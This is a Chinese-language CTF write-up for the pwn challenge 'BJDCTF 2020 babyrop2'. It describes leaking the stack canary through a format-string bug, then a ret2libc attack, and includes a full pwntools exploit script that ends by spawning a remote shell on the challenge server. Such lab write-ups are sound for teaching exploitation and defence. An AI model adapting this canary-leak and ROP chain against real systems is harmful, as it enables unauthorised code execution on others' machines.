NSSCTF Pwn [BJDCTF 2020]babyrop2 题解

下载 checksec exeinfo

64位 开启了canary和NX保护

IDA64 查看函数

可以看到有格式化字符串漏洞和栈溢出漏洞

利用格式化字符串漏洞泄露canary

因为这里的printf限制了输入字符 所以需要一个个试偏移:

输入字符的偏移为6

接下来动态调试到printf的位置,查看栈情况:

可以看到canary距离输入的字符串8字节 离rbp也是8个字节

canary的偏移为7;

得到了canary之后,就是ret2libc的流程了

exp:

from pwn import *
from LibcSearcher import *

p = remote("node4.anna.nssctf.cn", 28006)
elf = ELF('./babyrop2')
#gdb.attach(p)
#pause()


p.send(b'aa%7$p')
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
print(hex(canary))

pop_rdi = 0x400993
vuln_addr = 0x0400887
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = b'a' * (0x20 - 8) + p64(canary) + p64(0) + p64(pop_rdi) +  p64(puts_got)  + p64(puts_plt)+ p64(vuln_addr)

p.sendlineafter("story!\n", payload)

puts_address = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_address))

libc = LibcSearcher('puts', puts_address)
offset = puts_address - libc.dump('puts')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')

payload2 = b'a' * (0x20 - 8) + p64(canary) + p64(0) + p64(pop_rdi)  + p64(binsh)+ p64(system)
p.sendline(payload2)

p.interactive()

运行 得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值